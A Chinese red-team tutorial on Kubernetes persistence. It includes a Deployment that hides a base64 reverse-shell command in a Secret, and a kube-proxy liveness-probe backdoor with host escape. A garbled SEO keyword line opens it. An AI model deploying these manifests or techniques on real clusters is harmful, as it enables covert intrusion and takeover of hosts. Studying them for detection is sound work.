福州建网站公司,哪些公司需要网站开发,wordpress域名,做网站不给源码吗前言
通常在红蓝对抗中#xff0c;我们可能会通过各种方法如弱口令、sql注入、web应用漏洞导致的RCE等方法获得服务器的权限#xff1b;在当前云原生迅猛发展的时代#xff0c;这台服务器很可能是一个容器#xff0c;在后续的后渗透由传统的提权变为容器逃逸#xff0c;内…前言
通常在红蓝对抗中我们可能会通过各种方法如弱口令、sql注入、web应用漏洞导致的RCE等方法获得服务器的权限在当前云原生迅猛发展的时代这台服务器很可能是一个容器在后续的后渗透由传统的提权变为容器逃逸内网信息收集变为集群的信息收集内网横向变成集群横向拿下域控或者靶标变成获得集群的管理员权限但是当拿下集群后如何拿下他们的宿主机呢以及如何针对集群做持久化呢本文主要从此来思考由于目前主流的容器编排引擎和容器集群管理工具是Kubernetes所以下文以Kubernetes集群为例。
Kubernetes
Kubernetes是一个开源的容器编排引擎和容器集群管理工具用来对容器化应用进行自动化部署、 扩缩和管理。 Kubernetes 这个名字源于希腊语意为“舵手”或“飞行员”。k8s 这个缩写是因为 k 和 s 之间有8个字符。Google 在 2014 年开源了 Kubernetes 项目。
Kubernetes架构
一个Kubernetes集群至少包含一个控制平面(control plane)以及一个或多个工作节点(worker node)。工作节点会托管 Pod 而 Pod 就是作为应用负载的组件。控制平面管理集群中的工作节点和 Pod。
控制平面(Control Plane) : 控制平面负责管理工作节点和维护集群状态。所有任务分配都来自于控制平面。控制平面组件会为集群做出全局决策比如资源的调度、检测和响应集群事件。 工作节点Worker Node : 工作节点负责执行由控制平面分配的请求任务,运行实际的应用和工作负载。节点组件会在每个节点上运行负责维护运行的 Pod 并提供 Kubernetes 运行环境。 对于组件的具体内容可以参考官方文档[1]。我们最终的目的就是要获得所有的节点的权限其中一般情况下是一个master节点多个worker节点。
工作负载
工作负载是在 Kubernetes 上运行的应用程序。在 Kubernetes 中无论你的负载是由单个组件还是由多个一同工作的组件构成你都可以在一组 Pod 中运行它。在 Kubernetes 中Pod 代表的是集群上处于运行状态的一组容器的集合。
可以通过利用不同的工作负载资源达到我们的目的在每一个节点上跑一个特权Pod。
Deployment
Deployment是对ReplicaSet和Pod更高级的抽象。它使Pod拥有多副本自愈扩缩容、滚动升级等能力。
ReplicaSet(副本集)是一个Pod的集合。它可以设置运行Pod的数量确保任何时间都有指定数量的 Pod 副本在运行。通常我们不直接使用ReplicaSet而是在Deployment中声明。
StatefulSet
StatefulSet 是用来管理有状态的应用。一般用于管理数据库、缓存等。与 Deployment 类似 StatefulSet用来管理 Pod 集合的部署和扩缩。
DaemonSet
DaemonSet 确保全部或者某些节点上运行一个 Pod 的副本。当有节点加入集群时 也会为他们新增一个 Pod 。当有节点从集群移除时这些 Pod 也会被回收。删除 DaemonSet 将会删除它创建的所有 Pod。
CronJob
Job 会创建一个或者多个 Pod并将继续重试 Pod 的执行直到指定数量的 Pod 成功终止。随着 Pod 成功结束Job 跟踪记录成功完成的 Pod 个数。当数量达到指定的成功个数阈值时任务即 Job结束。一个 CronJob 对象就像 crontab (cron table) 文件中的一行。它用 Cron[2] 格式进行编写 并周期性地在给定的调度时间执行 Job。
Namespace
命名空间(Namespace)是一种资源隔离机制将同一集群中的资源划分为相互隔离的组。
Kubernetes 会创建四个初始命名空间 default: 默认的命名空间不可删除未指定命名空间的对象都会被分配到default中。 kube-system: Kubernetes 系统对象(控制平面和Node组件)所使用的命名空间。 kube-public: 自动创建的公共命名空间所有用户包括未经过身份验证的用户都可以读取它。通常我们约定将整个集群中公用的可见和可读的资源放在这个空间中。 kube-node-lease: 租约Lease[3]对象使用的命名空间。每个节点都有一个关联的 lease 对象lease 是一种轻量级资源。lease对象通过发送心跳[4]检测集群中的每个节点是否发生故障。
下图为使用kubeadm搭建的k8s集群默认的ns以及相关资源。 k8s集群默认的leases。 可以将我们的Pod跑在当前集群看起来不常用的ns比如kube-system。
存储
将数据存储在容器中一旦容器被删除数据也会被删除在k8s中给出了卷(Volume)这一概念来解决存储。卷是独立于容器之外的一块存储区域通过挂载(Mount)的方式供Pod中的容器使用。
常见的卷类型有
临时卷(Ephemeral Volume)
• emptyDir - 作为缓存或存储日志
• configMap 、secret、 downwardAPI给Pod注入数据
持久卷(Persistent Volume)
• 本地存储 - hostPath、 local
• 网络存储 - NFS
• 分布式存储 - Ceph(cephfs文件存储、rbd块存储)
投射卷(Projected Volumes)projected 卷可以将多个卷映射到同一个目录上。
根据名字可以看出临时卷和持久卷的主要特点临时卷与Pod一起创建和删除生命周期与Pod相同持久卷主要删除Pod后持久卷不会被删除。
通过以上特点我们可以将一些需要利用的敏感数据放在临时卷内随Pod一起删除。
ConfigMap 用来在键值对数据库(etcd)中保存非加密数据。一般用来保存配置文件。 可以用作环境变量、命令行参数或者存储卷。 将环境配置信息与容器镜像解耦便于配置的修改。 在设计上不是用来保存大量数据的。
在 ConfigMap 中保存的数据不可超过 1 MiB。超出此限制需要考虑挂载存储卷或者访问文件存储服务。
apiVersion: v1
kind: ConfigMap
metadata:name: game-demo
data:# property-like keys; each key maps to a simple valueplayer_initial_lives: 3ui_properties_file_name: user-interface.properties# file-like keysgame.properties: |enemy.typesaliens,monstersplayer.maximum-lives5 user-interface.properties: |color.goodpurplecolor.badyellowallow.textmodetrue Secret
Secret 用于保存机密数据的对象。一般由于保存密码、令牌或密钥等。 data字段用来存储 base64 编码数据。 stringData存储未编码的字符串。
Secret 意味着你不需要在应用程序代码中包含机密数据减少机密数据(如密码)泄露的风险。Secret 可以用作环境变量、命令行参数或者存储卷文件。
apiVersion: v1
kind: Secret
metadata:name: mysecret
type: Opaque
data:USER_NAME: YWRtaW4PASSWORD: OGZmN2I3c3Y5OGZieTdneWQ 管理对象 命令行指令
例如使用kubectl命令来创建和管理 Kubernetes 对象。命令行就好比口头传达简单、快速、高效。但它功能有限不适合复杂场景操作不容易追溯多用于开发和调试。 声明式配置
kubernetes使用yaml文件来描述 Kubernetes 对象。声明式配置就好比申请表学习难度大且配置麻烦。好处是操作留痕适合操作复杂的对象多用于生产。
配置对象
在创建的 Kubernetes 对象所对应的 yaml文件中需要配置的字段如下 apiVersion: Kubernetes API 的版本。 kind: 对象类别例如Pod、Deployment、Service、ReplicaSet等。 metadata: 描述对象的元数据包括一个 name 字符串、UID 和可选的namespace。 spec: 对象的配置。 标签
标签Labels 是附加到对象比如 Pod上的键值对用于补充对象的描述信息。标签使用户能够以松散的方式管理对象映射而无需客户端存储这些映射。由于一个集群中可能管理成千上万个容器我们可以使用标签高效的进行选择和操作容器集合。
nodeSelector
nodeSelector 是一个选择算符这些算符必须取值为 true 才能认为 Pod 适合在节点上运行。选择算符必须与节点的标签匹配以便在该节点上调度 Pod。
Affinity
Affinity 是一组亲和性调度规则。 affinity.nodeAffinity (NodeAffinity[5])描述 Pod 的节点亲和性调度规则。 affinity.podAffinity (PodAffinity[6])描述 Pod 亲和性调度规则例如将此 Pod 与其他一些 Pod 放在同一节点、区域等。 affinity.podAntiAffinity (PodAntiAffinity[7])描述 Pod 反亲和性调度规则例如避免将此 Pod 与其他一些 Pod 放在相同的节点、区域等。
如果同时设置nodeSelector和nodeAffinity则必须同时满足两个条件Pod才会运行到最终的节点上 如果同时指定多个nodeSelectorTerms只要满足其中一个就可以匹配成功 如果nodeSelectorTerms有多个matchExpressions则必须满足所有matchExpressions才可以运行Pod。
我们可以通过编写yaml创建需要利用的工作负载结合相关配置跑在每个节点上。
部署一个Deployment在每个node利用
通过对kubernetes的了解可以利用工作负载的特性利用Deployment、DaemonSet等创建相关资源通过亲和性或者选择器等等在每一个节点上部署一个特权Pod并将Pod通过配置命令执行的方式获取所有Pod的shell相当于获得了所有的节点宿主机权限。deployment部署每一个pod到node上可以通过查看每个node对应的labels选择一个所有node都能匹配到的。 通过nodeSelector或者affinity.nodeAffinity将所有node选择到查看node相关labels直接匹配的话由于master默认设置污点[8]无法匹配可以通过容忍度设置在控制平面节点上运行。 对于命令的配置可以直接写在相关的spec内也可以利用k8s的存储临时卷具有更好的隐蔽性其中Secret更隐秘些。创建相关资源。
apiVersion: v1
kind: Secret
metadata:name: mysecret
type: Opaque
data:USER_NAME: TUR3bU1UWTVMVHRsZUdWaklERTJPVHcrTDJSbGRpOTBZM0F2TVRreUxqRTJPQzQxTmk0eEx6azVPRGc3YzJnZ1BDWXhOamtnUGlZeE5qa2dNajRtTVRZNQ
---
apiVersion: apps/v1
kind: Deployment
metadata:name: nginx-deployment
spec:selector:matchLabels:app: nginxreplicas: 3template:metadata:labels:app: nginxspec:containers:- name: nginximage: nginx:1.22env:- name: USERvalueFrom:secretKeyRef:name: mysecretkey: USER_NAMEoptional: falseargs: - /bin/bash- -c- echo $USER | base64 -d | bashports:- containerPort: 80tolerations:- key: node-role.kubernetes.io/control-planeoperator: Existseffect: NoSchedule- key: node-role.kubernetes.io/masteroperator: Existseffect: NoSchedulenodeSelector:kubernetes.io/arch: amd64
成功创建在每个node上反弹获得shell。 利用现有资源
在进入集群后查看当前集群已经创建的资源可以找到一些直接利用的资源就不用在自己创建但是这样也会有一定的隐患修改现有资源会导致Pod重启可能会影响到正常的业务运行这个就需要自己来取舍了。
修改哪些
根据前文的探索与了解可以根据不同的ns以及不同的资源来利用。 Deployment StatefulSet DaemonSet CronJob
Lease
前文中发现了有一个特殊的ns是kube-node-lease该ns下主要是Lease对象主要每一个节点都有一个与之对应的Lease对象并且该对象隐蔽性很好。根据阅读相关文档[9]研究由于LeaseSpecLeaseSpec 是一个 Lease 的规范不支持没有执行命令的相关spec不能执行命令的话导致无法反弹shell所以无法利用。
容器探针
根据对Lease研究知道首先这个东西起码要可以执行命令通过继续对Kubernetes的不断探索发现了一个叫做容器探针的东西。容器探针(probe)是kubelet用来对容器定期执行诊断的。
检测容器有四种方法 exec在容器内执行指定命令命令退出返回为0成功退出结合相关配置可以达到类似CronJob的效果为了安全以及隐藏不能真正完成探测不论启动、就绪、存活探测结果不能是失败要不就重启或者删ip HTTP发送一个httpGet请求如果响应大于等于 200 且小于 400则诊断被认为是成功的只能用于本身是web服务的由于不能同时使用多个检查方式该方式利用不现实。 gRPC使用gRPC执行一个远程调用同上利用不现实。 tcp对容器的 IP 地址上的指定端口执行 TCP 检查虽然是kubelet直接在节点上发起探测但是同上利用不现实。
探测类型主要有三种 存活Liveness存活探针是kubelet用来确定什么时候要重启容器。 就绪Readiness就绪探针是kubelet可以知道容器何时准备好接受请求流量当一个 Pod 内的所有容器都就绪时才能认为该 Pod 就绪。 启动Startup启动探针是kubelet用来了解应用容器何时启动。如果提供了启动探针则所有其他探针都会被禁用直到此探针成功为止。
通过对容器探针的进一步了解可以通过修改当前集群现有资源对具有每一个节点都有相关Pod运行的资源进行修改结合探测类型某种程度上相当于将CronJon的特点融合了进来添加检测方法为exec类型为存活探针进行利用具体利用时可以再根据Probe[10]配置文档设置initialDelaySeconds、periodSeconds等字段来控制反弹回的shell时间以及Pod失败等重启。
如何修改现有资源对象
以下命令主要为借助kubectl对现有资源进行修改 apply支持同时多个资源对象资源不存在时将创建资源该命令更新后会重启资源。 edit可以直接编辑已经存在的资源本质就是先get 后apply可以编辑多个但是一次只能应用一个。 patch通过命令行的方式添加部分内容接受JSON或YAML格式。 replace替换资源先删除后创建必须提供完整的spec。 set配置资源只能修改部分比如env、image、resources、selector、serviceaccount、subject。
利用kube-proxy
通过前文探索对于较为的隐蔽的ns可以利用kube-system在该ns下kube-proxy又是特别好拿来利用的他本身就是DaemonSet在每一个节点上都有一Pod并且是每一个集群最基本默认就存在的并且经过测试该Pod使用的环境中虽然条件苛刻但是自带perl可以用来反弹并且该Pod默认开启了多项Linux Capabilities可以直接逃逸到宿主机。 可以看到是具有比如CAP_SYS_MODULE、CAP_DAC_READ_SEARCH、CAP_SYS_ADMIN。 修改资源kubectl -n kube-system edit ds kube-proxy 添加容器探针的利用。 修改成功。 并成功反弹shell。 如果kube-proxy启动的时候--hostname-override默认为空那么容器内的hostname就是节点的名字最后只需要利用CAP_SYS_ADMIN根据hostname逃逸到需要的节点。 对于上文提到的手法默安科技的云原生保护平台CNAPP-尚付已支持检测。
